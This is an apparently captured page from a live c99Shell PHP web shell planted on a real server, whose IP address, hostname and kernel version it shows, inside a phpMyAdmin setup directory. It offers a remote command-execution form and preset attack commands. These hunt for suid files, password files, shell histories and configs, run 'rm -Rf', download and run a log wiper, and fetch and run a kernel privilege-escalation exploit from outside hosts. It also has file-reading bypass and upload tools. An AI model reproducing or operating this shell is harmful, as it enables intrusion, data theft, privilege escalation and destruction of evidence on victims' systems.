110.164.51.230 - phpshell

!c99Shell v. 1.0 pre-release build #16!
Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 EDT 2010 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/phpMyAdmin/setup/ drwxr-xr-x Free 52.39 GB of 127.8 GB (41%) Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686

uid=48(apache) gid=48(apache) groups=48(apache)

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/setup/ drwxr-xr-x
Free 52.39 GB of 127.8 GB (41%)
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout

Viewing file: config.php (2.11 KB) -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

registerForm('_config.php', $forms['_config.php']); $form_display->save('_config.php'); $config_file_path = ConfigFile::getInstance()->getFilePath(); if (isset($_POST['eol'])) { $_SESSION['eol'] = ($_POST['eol'] == 'unix') ? 'unix' : 'win'; } if (PMA_ifSetOr($_POST['submit_clear'], '')) { // // Clear current config and return to main page // ConfigFile::getInstance()->resetConfigData(); // drop post data header('HTTP/1.1 303 See Other'); header('Location: index.php'); exit; } elseif (PMA_ifSetOr($_POST['submit_download'], '')) { // // Output generated config file // header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename="config.inc.php"'); echo ConfigGenerator::getConfigFile(); exit; } elseif (PMA_ifSetOr($_POST['submit_save'], '')) { // // Save generated config file on the server // file_put_contents($config_file_path, ConfigGenerator::getConfigFile()); header('HTTP/1.1 303 See Other'); header('Location: index.php'); exit; } elseif (PMA_ifSetOr($_POST['submit_load'], '')) { // // Load config file from the server // $cfg = array(); require_once $config_file_path; ConfigFile::getInstance()->setConfigData($cfg); header('HTTP/1.1 303 See Other'); header('Location: index.php'); exit; } elseif (PMA_ifSetOr($_POST['submit_delete'], '')) { // // Delete config file on the server // @unlink($config_file_path); header('HTTP/1.1 303 See Other'); header('Location: index.php'); exit; } else { // // Show generated config file in a

//
    header('HTTP/1.1 303 See Other');
    header('Location: index.php?page=config');
    exit;
}
?>
</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="?act=cmd&d=%2Fvar%2Fwww%2Fhtml%2FphpMyAdmin%2Fsetup%2F"><b>Command execute</b></a> ::</b></p></td></tr>
<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="?"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="/var/www/html/phpMyAdmin/setup/"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="?act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="/var/www/html/phpMyAdmin/setup/"><select name="cmd"><option value="ls -la">-----------------------------------------------------------</option><option value="find / -type f -perm -04000 -ls">find all suid files</option><option value="find . -type f -perm -04000 -ls">find suid files in current dir</option><option value="find / -type f -perm -02000 -ls">find all sgid files</option><option value="find . -type f -perm -02000 -ls">find sgid files in current dir</option><option value="find / -type f -name config.inc.php">find config.inc.php files</option><option value="find / -type f -name "config*"">find config* files</option><option value="find . -type f -name "config*"">find config* files in current dir</option><option value="find / -perm -2 -ls">find all writable folders and files</option><option value="find . -perm -2 -ls">find all writable folders and files in current dir</option><option value="find / -type f -name service.pwd">find all service.pwd files</option><option value="find . -type f -name service.pwd">find service.pwd files in current dir</option><option value="find / -type f -name .htpasswd">find all .htpasswd files</option><option value="find . -type f -name .htpasswd">find .htpasswd files in current dir</option><option value="find / -type f -name .bash_history">find all .bash_history files</option><option value="find . -type f -name .bash_history">find .bash_history files in current dir</option><option value="find / -type f -name .fetchmailrc">find all .fetchmailrc files</option><option value="find . -type f -name .fetchmailrc">find .fetchmailrc files in current dir</option><option value="lsattr -va">list file attributes on a Linux second extended file system</option><option value="netstat -an | grep -i listen">show opened ports</option></select><input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"></form></td></tr></TABLE>
<br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="?act=cmd&d=%2Fvar%2Fwww%2Fhtml%2FphpMyAdmin%2Fsetup%2F"><b>Shadow's tricks :D </b></a> ::</b></p></td></tr>
<tr>
  <td width="50%" height="83" valign="top"><center>
    <div align="center">Useful Commands 
    </div>
    <form action="?">
      <div align="center">
        <input type=hidden name=act value="cmd">
        <input type=hidden name="d" value="/var/www/html/phpMyAdmin/setup/">
          <SELECT NAME="cmd">
            <OPTION VALUE="uname -a">Kernel version
              <OPTION VALUE="w">Logged in users
                <OPTION VALUE="lastlog">Last to connect
                  <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins
                    <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!
                    <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?
                    <OPTION VALUE="which wget curl w3m lynx">Downloaders?
                    <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO
                    <OPTION VALUE="netstat -atup | grep IST">Open ports
                    <OPTION VALUE="locate gcc">gcc installed?
					<OPTION VALUE="rm -Rf">Format box (DANGEROUS)
                    <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed)
                    <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2
                    <OPTION VALUE="./zap2">WIPELOGS PT3
                    <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed)
                    <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1)
                    <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2)
                    <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3)
                    <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4)
                    <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5)
                  </SELECT>
        <input type=hidden name="cmd_txt" value="1">
         
        <input type=submit name=submit value="Execute">
          <br>
        Warning. Kernel may be alerted using higher levels </div>
    </form>
    </td>
  <td width="50%" height="83" valign="top"><center>
   <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search">
      <input name="q" type="text" id="q" value="Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri
Apr 2 15:37:44 EDT 2010 i686">
      <input type="hidden" name="client" value="firefox-a">
	  <input type="hidden" name="rls" value="org.mozilla:en-US:official">
	  <input type="hidden" name="hl" value="en">
	  <input type="hidden" name="hs" value="b7p">
	  <input type=submit name="btnG" VALUE="Search">
    </form></center>
    </td>
</tr></TABLE><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr><td height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="?act=cmd&d=%2Fvar%2Fwww%2Fhtml%2FphpMyAdmin%2Fsetup%2F"><b>Preddy's tricks :D </b></a> ::</b></p></td></tr>
<tr>
  <td width="50%" height="83" valign="top"><center>
    <div align="center">Php Safe-Mode Bypass (Read Files)
    </div><br>
    <form action="?">
      <div align="center">
      File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br>
      
      
      
           
      
      
      	
	
          <br>
      </div>
    </form>
    </td>
  <td width="50%" height="83" valign="top"><center>
   <center>Php Safe-Mode Bypass (List Directories):     <form action="?">
      <div align="center"><br>
      Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br>

</form></center>
    </td>
</tr></TABLE><br>
<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
<tr>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="?act=search&d=%2Fvar%2Fwww%2Fhtml%2FphpMyAdmin%2Fsetup%2F"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="/var/www/html/phpMyAdmin/setup/"><input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp <input type=submit name=submit value="Search"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="?act=upload&d=%2Fvar%2Fwww%2Fhtml%2FphpMyAdmin%2Fsetup%2F"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1"> <input type=submit name=submit value="Upload"><br><font color=green>[ ok ]</font></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="?"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="/var/www/html/phpMyAdmin/setup/"><input type="text" name="mkdir" size="50" value="/var/www/html/phpMyAdmin/setup/"> <input type=submit value="Create"><br><font color=green>[ ok ]</font></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="/var/www/html/phpMyAdmin/setup/"><input type="text" name="mkfile" size="50" value="/var/www/html/phpMyAdmin/setup/"><input type=hidden name="ft" value="edit"> <input type=submit value="Create"><br><font color=green>[ ok ]</font></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="?"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="/var/www/html/phpMyAdmin/setup/"> <input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="?"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="/var/www/html/phpMyAdmin/setup/"><input type="text" name="f" size="50" value="/var/www/html/phpMyAdmin/setup/"> <input type=submit value="Go"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c999shell v. 1.0 pre-release build #16 <a href="?act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://rootshell-security.net"><font color="#FF0000">RootShell Security Group</font></a><font color="#FF0000"></font> | <a href="http://r57shell.net"><font color="#FF0000">r57 c99 shell</font></a><font color="#FF0000"></font> | Generation time: 0.0055 ]--</b></p></td></tr></table>
</body></html>